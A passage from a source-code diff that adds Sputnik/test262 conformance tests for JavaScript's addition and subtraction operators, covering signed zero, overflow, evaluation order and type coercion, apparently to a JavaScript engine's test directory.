+ if (1 / (-0 + 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: -0 + 0 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#4
+if (0 + 0 !== 0 ) {
+ $ERROR('#4.1: 0 + 0 === 0. Actual: ' + (0 + 0));
+} else {
+ if (1 / (0 + 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: 0 + 0 === + 0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T6.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T6.js
new file mode 100644
index 000000000..b25a8fbae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T6.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T6.js
+ * @description The sum of a zero and a nonzero finite value is equal to the nonzero operand
+ */
+
+//CHECK#1
+if (1 + -0 !== 1 ) {
+ $ERROR('#1: 1 + -0 === 1. Actual: ' + (1 + -0));
+}
+
+//CHECK#2
+if (1 + 0 !== 1 ) {
+ $ERROR('#2: 1 + 0 === 1. Actual: ' + (1 + 0));
+}
+
+//CHECK#3
+if (-0 + 1 !== 1 ) {
+ $ERROR('#3: -0 + 1 === 1. Actual: ' + (-0 + 1));
+}
+
+//CHECK#4
+if (0 + 1 !== 1 ) {
+ $ERROR('#4: 0 + 1 === 1. Actual: ' + (0 + 1));
+}
+
+//CHECK#5
+if (Number.MAX_VALUE + -0 !== Number.MAX_VALUE ) {
+ $ERROR('#5: Number.MAX_VALUE + -0 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE + -0));
+}
+
+//CHECK#6
+if (Number.MAX_VALUE + 0 !== Number.MAX_VALUE ) {
+ $ERROR('#6: Number.MAX_VALUE + 0 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE + 0));
+}
+
+//CHECK#7
+if (-0 + Number.MIN_VALUE !== Number.MIN_VALUE ) {
+ $ERROR('#7: -0 + Number.MIN_VALUE === Number.MIN_VALUE. Actual: ' + (-0 + Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (0 + Number.MIN_VALUE !== Number.MIN_VALUE ) {
+ $ERROR('#8: 0 + Number.MIN_VALUE === Number.MIN_VALUE. Actual: ' + (0 + Number.MIN_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T7.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T7.js
new file mode 100644
index 000000000..c8af57916
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T7.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T7.js
+ * @description The sum of two nonzero finite values of the same magnitude and opposite sign is +0
+ */
+
+//CHECK#1
+if (-Number.MIN_VALUE + Number.MIN_VALUE !== +0) {
+ $ERROR('#1.1: -Number.MIN_VALUE + Number.MIN_VALUE === 0. Actual: ' + (-Number.MIN_VALUE + Number.MIN_VALUE));
+} else {
+ if (1 / (-Number.MIN_VALUE + Number.MIN_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: -Number.MIN_VALUE + Number.MIN_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#2
+if (-Number.MAX_VALUE + Number.MAX_VALUE !== +0) {
+ $ERROR('#2.1: -Number.MAX_VALUE + Number.MAX_VALUE === 0. Actual: ' + (-Number.MAX_VALUE + Number.MAX_VALUE));
+} else {
+ if (1 / (-Number.MAX_VALUE + Number.MAX_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: -Number.MAX_VALUE + Number.MAX_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (-1 / Number.MAX_VALUE + 1 / Number.MAX_VALUE !== +0) {
+ $ERROR('#3.1: -1 / Number.MAX_VALUE + 1 / Number.MAX_VALUE === 0. Actual: ' + (-1 / Number.MAX_VALUE + 1 / Number.MAX_VALUE));
+} else {
+ if (1 / (-1 / Number.MAX_VALUE + 1 / Number.MAX_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: -1 / Number.MAX_VALUE + 1 / Number.MAX_VALUE === + 0. Actual: -0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T8.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T8.js
new file mode 100644
index 000000000..ec90d44e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T8.js
+ * @description If the magnitude is too large to represent, the operation overflows and the result is then an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MAX_VALUE + Number.MAX_VALUE !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number.MAX_VALUE + Number.MAX_VALUE === Number.POSITIVE_INFINITY. Actual: ' + (Number.MAX_VALUE + Number.MAX_VALUE));
+}
+
+//CHECK#2
+if (-Number.MAX_VALUE - Number.MAX_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2: -Number.MAX_VALUE - Number.MAX_VALUE === Number.NEGATIVE_INFINITY. Actual: ' + (-Number.MAX_VALUE - Number.MAX_VALUE));
+}
+
+//CHECK#3
+if (1e+308 + 1e+308 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: 1e+308 + 1e+308 === Number.POSITIVE_INFINITY. Actual: ' + (1e+308 + 1e+308));
+}
+
+//CHECK#4
+if (-8.99e+307 - 8.99e+307 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: -8.99e+307 - 8.99e+307 === Number.NEGATIVE_INFINITY. Actual: ' + (-8.99e+307 - 8.99e+307));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T9.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T9.js
new file mode 100644
index 000000000..bc082438a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A4_T9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of an addition is determined using the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A4_T9.js
+ * @description The addition operator is not always associative ( x + y + z is the same (x + y) + z, not x + (y + z))
+ */
+
+//CHECK#1
+if (-Number.MAX_VALUE + Number.MAX_VALUE + Number.MAX_VALUE !== (-Number.MAX_VALUE + Number.MAX_VALUE) + Number.MAX_VALUE) {
+ $ERROR('#1: -Number.MAX_VALUE + Number.MAX_VALUE + Number.MAX_VALUE === (-Number.MAX_VALUE + Number.MAX_VALUE) + Number.MAX_VALUE. Actual: ' + (-Number.MAX_VALUE + Number.MAX_VALUE + Number.MAX_VALUE));
+}
+
+//CHECK#2
+if ((-Number.MAX_VALUE + Number.MAX_VALUE) + Number.MAX_VALUE === -Number.MAX_VALUE + (Number.MAX_VALUE + Number.MAX_VALUE)) {
+ $ERROR('#2: (-Number.MAX_VALUE + Number.MAX_VALUE) + Number.MAX_VALUE === -Number.MAX_VALUE + (Number.MAX_VALUE + Number.MAX_VALUE). Actual: ' + ((-Number.MAX_VALUE + Number.MAX_VALUE) + Number.MAX_VALUE));
+}
+
+//CHECK#3
+if ("1" + 1 + 1 !== ("1" + 1) + 1) {
+ $ERROR('#3: "1" + 1 + 1 === ("1" + 1) + 1. Actual: ' + ("1" + 1 + 1));
+}
+
+//CHECK#4
+if (("1" + 1) + 1 === "1" + (1 + 1)) {
+ $ERROR('#4: ("1" + 1) + 1 !== "1" + (1 + 1)');
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/browser.js b/js/src/tests/test262/ch11/11.6/11.6.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/shell.js b/js/src/tests/test262/ch11/11.6/11.6.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A1.js
new file mode 100644
index 000000000..c3c08a221
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between AdditiveExpression and "-" or between "-" and MultiplicativeExpression are allowed
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009-\u00091") !== 0) {
+ $ERROR('#1: 1\\u0009-\\u00091 === 0');
+}
+
+//CHECK#2
+if (eval("1\u000B-\u000B1") !== 0) {
+ $ERROR('#2: 1\\u000B-\\u000B1 === 0');
+}
+
+//CHECK#3
+if (eval("1\u000C-\u000C1") !== 0) {
+ $ERROR('#3: 1\\u000C-\\u000C1 === 0');
+}
+
+//CHECK#4
+if (eval("1\u0020-\u00201") !== 0) {
+ $ERROR('#4: 1\\u0020-\\u00201 === 0');
+}
+
+//CHECK#5
+if (eval("1\u00A0-\u00A01") !== 0) {
+ $ERROR('#5: 1\\u00A0-\\u00A01 === 0');
+}
+
+//CHECK#6
+if (eval("1\u000A-\u000A1") !== 0) {
+ $ERROR('#6: 1\\u000A-\\u000A1 === 0');
+}
+
+//CHECK#7
+if (eval("1\u000D-\u000D1") !== 0) {
+ $ERROR('#7: 1\\u000D-\\u000D1 === 0');
+}
+
+//CHECK#8
+if (eval("1\u2028-\u20281") !== 0) {
+ $ERROR('#8: 1\\u2028-\\u20281 === 0');
+}
+
+//CHECK#9
+if (eval("1\u2029-\u20291") !== 0) {
+ $ERROR('#9: 1\\u2029-\\u20291 === 0');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029-\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 0) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029-\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T1.js
new file mode 100644
index 000000000..8d85c8233
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y uses GetValue
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 - 1 !== 0) {
+ $ERROR('#1: 1 - 1 === 0. Actual: ' + (1 - 1));
+}
+
+//CHECK#2
+var x = 1;
+if (x - 1 !== 0) {
+ $ERROR('#2: var x = 1; x - 1 === 0. Actual: ' + (x - 1));
+}
+
+//CHECK#3
+var y = 1;
+if (1 - y !== 0) {
+ $ERROR('#3: var y = 1; 1 - y === 0. Actual: ' + (1 - y));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x - y !== 0) {
+ $ERROR('#4: var x = 1; var y = 1; x - y === 0. Actual: ' + (x - y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop - objecty.prop !== 0) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop - objecty.prop === 0. Actual: ' + (objectx.prop - objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T2.js
new file mode 100644
index 000000000..34bcafc2b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y uses GetValue
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x - 1;
+ $ERROR('#1.1: x - 1 throw ReferenceError. Actual: ' + (x - 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x - 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T3.js
new file mode 100644
index 000000000..e5ef600f8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y uses GetValue
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 - y;
+ $ERROR('#1.1: 1 - y throw ReferenceError. Actual: ' + (1 - y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 - y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.2_T1.js
new file mode 100644
index 000000000..3f24d4c13
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y uses [[Default Value]]
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} - 1 !== 0) {
+ $ERROR('#1: {valueOf: function() {return 1}} - 1 === 0. Actual: ' + ({valueOf: function() {return 1}} - 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} - 1 !== 0) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} - 1 === 0. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} - 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} - 1 !== 0) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} - 1 === 0. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} - 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} - 1 !== 0) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} - 1 === 0. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} - 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} - 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} - 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 - {toString: function() {return 1}} !== 0) {
+ $ERROR('#5: 1 - {toString: function() {return 1}} === 0. Actual: ' + (1 - {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (1 - {valueOf: function() {return {}}, toString: function() {return 1}} !== 0) {
+ $ERROR('#6: 1 - {valueOf: function() {return {}}, toString: function() {return 1}} === 0. Actual: ' + (1 - {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ 1 - {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 - {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 - {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 - {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 - {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 - {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 - {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 - {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.3_T1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.3_T1.js
new file mode 100644
index 000000000..b54588088
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x - y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x - y throw "x". Actual: ' + (x - y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x - y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T1.js
new file mode 100644
index 000000000..09b0a7184
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) - x !== 0) {
+ $ERROR('#1: var x = 0; (x = 1) - x === 0. Actual: ' + ((x = 1) - x));
+}
+
+//CHECK#2
+var x = 0;
+if (x - (x = 1) !== -1) {
+ $ERROR('#2: var x = 0; x - (x = 1) === -1. Actual: ' + (x - (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T2.js
new file mode 100644
index 000000000..ef853e38f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() - y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() - y() throw "x". Actual: ' + (x() - y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() - y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T3.js
new file mode 100644
index 000000000..ace9f2e95
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x - (x = 1);
+ $ERROR('#1.1: x - (x = 1) throw ReferenceError. Actual: ' + (x - (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x - (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) - y !== 0) {
+ $ERROR('#2: (y = 1) - y === 0. Actual: ' + ((y = 1) - y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.1.js
new file mode 100644
index 000000000..732297bf4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true - true !== 0) {
+ $ERROR('#1: true - true === 0. Actual: ' + (true - true));
+}
+
+//CHECK#2
+if (new Boolean(true) - true !== 0) {
+ $ERROR('#2: new Boolean(true) - true === 0. Actual: ' + (new Boolean(true) - true));
+}
+
+//CHECK#3
+if (true - new Boolean(true) !== 0) {
+ $ERROR('#3: true - new Boolean(true) === 0. Actual: ' + (true - new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) - new Boolean(true) !== 0) {
+ $ERROR('#4: new Boolean(true) - new Boolean(true) === 0. Actual: ' + (new Boolean(true) - new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.2.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.2.js
new file mode 100644
index 000000000..4a19423a0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 - 1 !== 0) {
+ $ERROR('#1: 1 - 1 === 0. Actual: ' + (1 - 1));
+}
+
+//CHECK#2
+if (new Number(1) - 1 !== 0) {
+ $ERROR('#2: new Number(1) - 1 === 0. Actual: ' + (new Number(1) - 1));
+}
+
+//CHECK#3
+if (1 - new Number(1) !== 0) {
+ $ERROR('#3: 1 - new Number(1) === 0. Actual: ' + (1 - new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) - new Number(1) !== 0) {
+ $ERROR('#4: new Number(1) - new Number(1) === 0. Actual: ' + (new Number(1) - new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.3.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.3.js
new file mode 100644
index 000000000..5e2f31a80
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" - "1" !== 0) {
+ $ERROR('#1: "1" - "1" === 0. Actual: ' + ("1" - "1"));
+}
+
+//CHECK#2
+if (new String("1") - "1" !== 0) {
+ $ERROR('#2: new String("1") - "1" === 0. Actual: ' + (new String("1") - "1"));
+}
+
+//CHECK#3
+if ("1" - new String("1") !== 0) {
+ $ERROR('#3: "1" - new String("1") === 0. Actual: ' + ("1" - new String("1")));
+}
+
+//CHECK#4
+if (new String("1") - new String("1") !== 0) {
+ $ERROR('#4: new String("1") - new String("1") === 0. Actual: ' + (new String("1") - new String("1")));
+}
+
+//CHECK#5
+if (isNaN("x" - "1") !== true) {
+ $ERROR('#5: "x" - "1" === Not-a-Number. Actual: ' + ("x" - "1"));
+}
+
+//CHECK#6
+if (isNaN("1" - "x") !== true) {
+ $ERROR('#6: "1" - "x" === Not-a-Number. Actual: ' + ("1" - "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.4.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.4.js
new file mode 100644
index 000000000..a76eb6628
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (isNaN(null - undefined) !== true) {
+ $ERROR('#1: null - undefined === Not-a-Number. Actual: ' + (null - undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined - null) !== true) {
+ $ERROR('#2: undefined - null === Not-a-Number. Actual: ' + (undefined - null));
+}
+
+//CHECK#3
+if (isNaN(undefined - undefined) !== true) {
+ $ERROR('#3: undefined - undefined === Not-a-Number. Actual: ' + (undefined - undefined));
+}
+
+//CHECK#4
+if (null - null !== 0) {
+ $ERROR('#4: null - null === 0. Actual: ' + (null - null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.5.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.5.js
new file mode 100644
index 000000000..21bc87c78
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T1.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x - y returns ToNumber(x) - ToNumber(y)
+ *
+ * @path ch11/11.6/11.6.2/S11.6.2_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (isNaN({} - function(){return 1}) !== true) {
+ $ERROR('#1: {} - function(){return 1} === Not-a-Number. Actual: ' + ({} - function(){return 1}));
+}
+
+//CHECK#2
+if (isNaN(function(){return 1} - {}) !== true) {
+ $ERROR('#2: function(){return 1} - {} === Not-a-Number. Actual: ' + (function(){return 1} - {}));
+}
+
+//CHECK#3
+if (isNaN(function(){return 1} - function(){return 1}) !== true) {
+ $ERROR('#3: function(){return 1} - function(){return 1} === Not-a-Number. Actual: ' + (function(){return 1} - function(){return 1}));
+}
+
+//CHECK#4
+if (isNaN({} - {}) !== true) {
+ $ERROR('#4: {} - {} === Not-a-Number. Actual: ' + ({} - {}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.1.js b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.1.js
new file mode 100644
index 000000000..8682a7154
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.2/S11.6.2_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
